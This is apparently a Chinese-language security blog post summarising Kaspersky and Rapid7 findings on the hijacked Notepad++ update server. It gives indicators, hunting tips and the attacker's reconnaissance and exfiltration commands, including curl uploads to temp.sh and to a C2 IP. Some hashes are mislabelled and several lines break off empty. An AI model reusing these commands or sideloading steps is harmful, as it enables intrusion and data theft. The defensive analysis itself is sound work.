Notepad++ 更新基礎設施遭攻擊:疑似中國 APT 組織 Lotus Blossom 發動供應鏈滲透
概觀
簡介事件
2026 年 2 月 2 日由Notepad++的開發人員發布聲明稱 Notepad++ 的更新基礎設施 (update delivery infrastructure) 遭入侵 (參考)
不是 notepad++ 軟體被竄改,而是攻擊者取得對託管環境的存取權限,攔截更新流量並向特定目標推送了惡意安裝程式
簡單講就是針對軟體的自動更新做介入
這是一個供應鏈攻擊
這次攻擊事件目前被歸因可能是跟中國有關的 APT 組織: Lotus Blossom (又稱 Billbug)
參考
簡介 notepad++
Notepad++ 是一個免費開源的文字編輯器,專為 Windows 設計
台灣蠻多公司都有安裝的
現在很多程式開發的人會使用 VS Code ,但還是有很多早期的工程師愛用 notepad++
攻擊時間
目前推測為 2025.06 - 2025.12 ,攻擊者控制了 Notepad++ 託管的更新伺服器
目前預估的攻擊時間
- 2025.06 - 2025.09 : 更新伺服器被入侵,攻擊者劫持更新流量,竄改
update.exe - 2026.02 : notepad++ 團隊釋出 v8.9.1 版本,並更換託管商,正式修復漏洞
當前風險高的人
- 使用的是 8.8.9 之前的 Notepad++ 版本
- 啟用了自動更新
- 更新安裝時間在 2025 年 6 月至 12 月之間
當前建議措施
- 從官方網站或 GitHub 升級到最新版本的 Notepad++
- 企業環境中,驗證更新來源
- 查看是否有任何從
gup.exe產生的可疑 process
惡意程式分析
整理卡巴斯基團隊文章
以下翻譯整理他們文章資料
之後有空在自己分析
卡巴斯基團隊表示
- 發現共有 3 個攻擊鏈
- 攻擊的目標
- 越南, 澳洲, 薩爾瓦多的個人電腦
- 菲律賓政府組織
- 薩爾瓦多金融機構
- 越南的 IT 業者
第一個攻擊鏈 - 2025.07 - 2025.08
惡意程式放在: http://45.76.155[.]202/update/update.exe
如果從 VirusTotal 來看,第一個掃描是來自台灣的使用者,時間是 2025.09.30
從上述 url 下載的程式 SHA1:8e6e505438c21f3d281e1cc257abdbf7223b7f5a
主要程式行為:
- 建立一個資料夾:
%appdata%\ProShow - 執行
cmd /c whoami&&tasklist > 1.txt(獲取當前電腦名稱 / 使用者名稱 / 正在執行的 process) - 將第二步驟產生的 1.txt 傳到
temp.sh,上傳的命令是curl.exe -F "[email protected]" -s https://temp.sh/upload - 將前一個步驟上傳的 url 傳到 c2 ,上傳命令是
curl.exe --user-agent "https://temp.sh/ZMRKV/1.txt" -s http://45.76.155[.]202 - 將底下 7 個檔案放置到
%appdata%\ProShow資料夾中
- ProShow.exe(SHA1:defb05d5a91e4920c9e22de2d81c5dc9b95a9a7c)
- defscr(SHA1:259cd3542dea998c57f67ffdd4543ab836e3d2a3)
- if.dnt(SHA1:46654a7ad6bc809b623c51938954de48e27a5618)
- proshow.crs(SHA1:da39a3ee5e6b4b0d3255bfef95601890afd80709)
- proshow.phd(SHA1:da39a3ee5e6b4b0d3255bfef95601890afd80709)
- proshow_e.bmp(SHA1:9df6ecc47b192260826c247bf8d40384aa6e6fd6)
- load(SHA1:06a6a5a39193075734a32e0235bde0e979c27228)
- 執行
ProShow.exe
上述檔案只有 load 是惡意的,其他都是正常的程式
過去一般 APT Group 常見用 Dll hijacking ,但這邊是用一個舊漏洞去執行惡意 payload
裡面包含兩個 shellcode ,其中一個 shellcode 會去下載惡意 payload: https://45.77.31[.]210/users/admin
這是下載 Cobalt Strike Beacon ,其慧根 c2 通訊: cdncheck.it[.]com,並且會用
- GET:
https://45.77.31[.]210/api/update/v1 - POST:
https://45.77.31[.]210/api/FileUpload/submit
卡巴斯基團隊在 2025.08 觀察到另一個 update.exe(SHA1: 90e677d7ff5844407b9c073e3b7e896e078e11cd),執行的攻擊鏈是相同的,不同的只有
- 下載 Cobalt Strike URL:
https://cdncheck.it[.]com/users/admin - Cobalt Strike URL 改設定為
卡巴斯基團隊表示從 2025.08 過後沒再觀察到使用此種攻擊鏈的案例
第二個攻擊鏈 - 2025.09
下載的 update.exe 位置相同: http://45.76.155[.]202/update/update.exe
- update.exe 的 SHA1 Hash: 573549869e84544e3ef253bdba79851dcde4963a
- 執行流程
- 透過 shell 執行並將結果上傳到
temp.sh - 將下一個攻擊 payload 放到硬碟上並啟動
- 透過 shell 執行並將結果上傳到
- 執行流程
攻擊者一開始收集的資料夾改設定為: %APPDATA%\Adobe\Scripts 且收集更多的資料,用的 shell 指令為
1 | cmd /c "whoami&&tasklist&&systeminfo&&netstat -ano" > a.txt |
後續步驟雷同,就是將收集的資料上傳到 temp.sh 之後傳到 http://45.76.155[.]202/list
但改了下一個階段的 payload ,改將底下 4 個資料放到 %APPDATA%\Adobe\Scripts 資料夾
- alien.dll(SHA1:6444dab57d93ce987c22da66b3706d5d7fc226da)
- lua5.1.dll(SHA1:2ab0758dda4e71aee6f4c8e4c0265a796518f07d)
- script.exe(SHA1:bf996a709835c0c16cce1015e6d44fc95e08a38a)
- alien.ini(SHA1:ca4b6fe0c69472cd3d63b212eb805b7f65710d33)
上述除了 alien.ini 是惡意的之外,其他都是合法的
之後是透過執行底下指令
1 | %APPDATA%\%Adobe\Scripts\script.exe %APPDATA%\Adobe\Scripts\alien.ini |
這個惡意的 alien.ini 是跟 lua 解釋器有關,裡面具體做的事情:
- 將 shellcode 放到記憶體中
- 使用 Windows API:
EnumWindowStationsW啟動 Shellcode
(題外話:這幾年看到蠻多 APT Group 用 Enum 系列去啟動的)
shellcode 同第一個攻擊鏈,會去相同的 url: https://cdncheck.it[.]com/users/admin 下載 cobalt strike beacon
此 cobalt strike 連接的 url 跟第一個攻擊鏈略有不同:
卡巴研究團隊在 2025.09 又觀察到另一個惡意程式樣本: update.exe (sha1: 13179c8f19fbf3d8473c49983a199e6cb4f318f0)
- 這樣樣本收集受害者電腦資訊的指令略微不同
卡巴團隊還有觀察到另一個樣本: update.exe(sha1: 4c9aac447bf732acc97992290aa7a187b967ee2c)
這邊列出主要差異
- 上傳受害者資料的位置更改:
https://self-dns.it[.]com/list - 下載 metasploit download 的 url 改為:
https://safe-dns.it[.]com/help/Get-Start - cobalt strike 的 URL 改為
第三個攻擊鏈 - 2025.10
更新伺服器的 URL 為: http://45.32.144[.]255/update/update.exe ,會下載惡意程式 update.exe(sha1: d7ffd7b588880cf61b603346a3557e7cce648c93)
這是惡意程式的功能僅是將底下 3 個檔案放到 %appdata%\Bluetooth\ 位置
BluetoothService.exe: (一個合法的可執行檔案)(SHA1:21a942273c14e4b9d3faa58e4de1fd4d5014a1ed)log.dll: 一個惡意 DLL(SHA1:f7910d943a013eede24ac89d6388c1b98f8b3717)BluetoothService: 加密的 shellcode(SHA1:7e0790226ea461bcc9ecd4be3c315ace41e1c122)
這次就是常見的攻擊方式
即是透過合法程式 BluetoothService.exe 以 Dll Hijacking 載入惡意 dll : log.dll 去解密 payload: BluetoothService ,最終會執行惡意後門程式:Chrysalis
最終的後門程式: Chrysalis 的細節可以參考 rapid7 的分析文章
rapid 7 內容敘述的 c2
- metasploit downloader url:
api.wiresguard.com/users/admin - cobalt strike url:
api.wiresguard.com/api/FileUpload/submit
回歸的第二個攻擊鏈 - 2025.10
卡巴斯基團隊表示在 2025.10 有觀察到一個惡意程式的攻擊鏈是第二個的模式
- 下載的惡意程式 URL:
http://95.179.213.]0/date.exe(sha1: 821c0cafb2aab0f063ef7e313f64313fc81d46cd) - 其餘用的 c2 url 都跟第二個攻擊鏈相同:
self-dns.it[.]com
卡巴斯基研究團隊表示有在 2025.10 看到攻擊者開始更改惡意推送更新的 url 位置
使用底下三種:
- http://95.179.213[.]0/update/install.exe
- http://95.179.213[.]0/update/update.exe
- http://95.179.213[.]0/update/AutoUpdater.exe
整理 Rapid7 分析文章
概述
- 認為 notepad++ 供應鏈攻擊的主謀是中國 APT 組織: Lotus Blossom (從 2009 年開始活動)
- 此 APT 組織的攻擊目標: 集中在東南亞地區,近期也擴展到中美洲,尤其關注政府、電信、航空、關鍵基礎設施和媒體等等
- 將 Notepad++ 資安事件的最終後門程式命名為:Chrysalis
初始存取
最初的惡意程式 update.exe,源於 c2:95.179.213.0 ,此程式實際上是一個 NSIS 安裝程式 (rapid 7 表示 nsis 安裝程式是中國 apt 愛用的)
提取出來的 nsis 安裝程式資訊
- filename:
[NSIS].nsi- SHA1l: 94dffa9de5b665dc51bc36e2693b8a3a0a4cc6b8
- 最初由荷蘭地區上傳到 VirusTotal (date: 2025.12.10)
- filename:
BluetoothService.exe(正常程式)- 本名: BDSubWiz.exe,他是 bitdefender 的程式
- SHA1: 21a942273c14e4b9d3faa58e4de1fd4d5014a1ed
- 用以 DLL-Hijacking
BluetoothService- 加密的 payload
- SHA1: 77bfea78def679aa1117f569a35e8fd1542df21f7e00e27f192c907e61d63a2e
log.dll- 惡意的 Loader
- SHA1: 3bdc4c0637591533f1d4198a72a33426c01f69bd2e15ceee547866f65e26b7ad
安裝腳本的執行過程:
- 在
%AppData%創建一個隱藏資料夾:Bluetooth - 將檔案都複製到
Bluetooth資料夾裡面 - 執行
BluetoothService.exe - DLL SideLoading 載入
log.dll並執行 2 個 export 函數:LogInit和LogWrite LogInit函數會將加密的 payload 載到記憶體,並由LogWrite函數將其解密執行 shellcode
rapid 7 將 shellcode 命名為: Chrysalis
shellcode 執行過程:
- 透過寫死的 key :
gQ2JR&9;做自修改 code 來解密出主要程式模組 - 解密裡面的 config 檔案,使用 RC4 ,KEY:
qwhvb^435h&*7,可以得到 C2 資訊:https://api.skycloudcenter.com/a/chat/s/70521ddf-a2ef-4adf-9cf0-6d8e24aaa821
這邊 rapid7 表示 c2 的 URL 結構: /a/chat/s/{GUID} 跟 Deepseek API 聊天端點用的格式完全相同,覺得很有趣
推測是想要模仿常規流量來規避檢測
此 C2 在 Rapid 7 分析當下,解析為 : 61.4.102.97 (馬來西亞)
防禦思考
Hunting
更新伺服器被劫持,所以應該要關注 gup.exe 是否跟不是底下的 domain 連線,這樣都是惡意的
- notepad-plus-plus.org
- github.com
- release-assets.githubusercontent.com
觀察是否有可疑的 dll SideLoading: 查看 BluetoothService.exe 是否有載入可疑的 dll: log.dll
因為資安分析文章都提到攻擊者有用到 Cobalt Strike 和 Metasploit ,所以也可以關注是否有這類惡意行為指標出現
